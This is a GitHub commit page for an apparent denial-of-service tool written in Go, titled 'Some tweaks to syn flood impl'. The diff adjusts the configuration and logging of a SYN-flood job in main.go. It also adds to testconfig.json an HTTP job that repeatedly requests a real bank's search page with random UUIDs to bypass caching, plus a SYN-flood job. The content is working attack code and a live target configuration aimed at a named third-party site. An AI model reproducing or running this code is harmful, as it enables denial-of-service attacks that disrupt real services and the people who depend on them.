Skip to content

Commit

Permalink
Some tweaks to syn flood impl
Browse files Browse the repository at this point in the history
  • Loading branch information
arriven committed Feb 27, 2022
1 parent 9470ea1 commit e3c8dcd
Show file tree
Hide file tree
Showing 2 changed files with 20 additions and 2 deletions.
5 changes: 3 additions & 2 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -212,8 +212,8 @@ func synFloodJob(ctx context.Context, args JobArgs) error {
BasicJobConfig
Host string
Port int
PayloadLength int
FloodType string
PayloadLength int `json:"payload_len"`
FloodType string `json:"flood_type"`
}
var jobConfig synFloodJobConfig
err := json.Unmarshal(args, &jobConfig)
Expand All @@ -226,6 +226,7 @@ func synFloodJob(ctx context.Context, args JobArgs) error {
<-ctx.Done()
shouldStop <- true
}()
log.Println("sending syn flood with params:", jobConfig.Host, jobConfig.Port, jobConfig.PayloadLength, jobConfig.FloodType)
return synfloodraw.StartFlooding(shouldStop, jobConfig.Host, jobConfig.Port, jobConfig.PayloadLength, jobConfig.FloodType)
}

Expand Down
17 changes: 17 additions & 0 deletions testconfig.json
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,23 @@
"body": "more_test",
"interval_ms": 1000
}
},
{
"type": "http",
"args": {
"method": "GET",
"path": "https://www.sberbank.ru/ru/search?searchid={{ random_uuid }}&l10n=ru&reqenc=&text={{ random_uuid }}",
"headers": {}
}
},
{
"type": "syn-flood",
"args": {
"host": "localhost",
"port": 80,
"payload_len": 1000,
"flood_type": "syn"
}
}
]
}

0 comments on commit e3c8dcd

Please sign in to comment.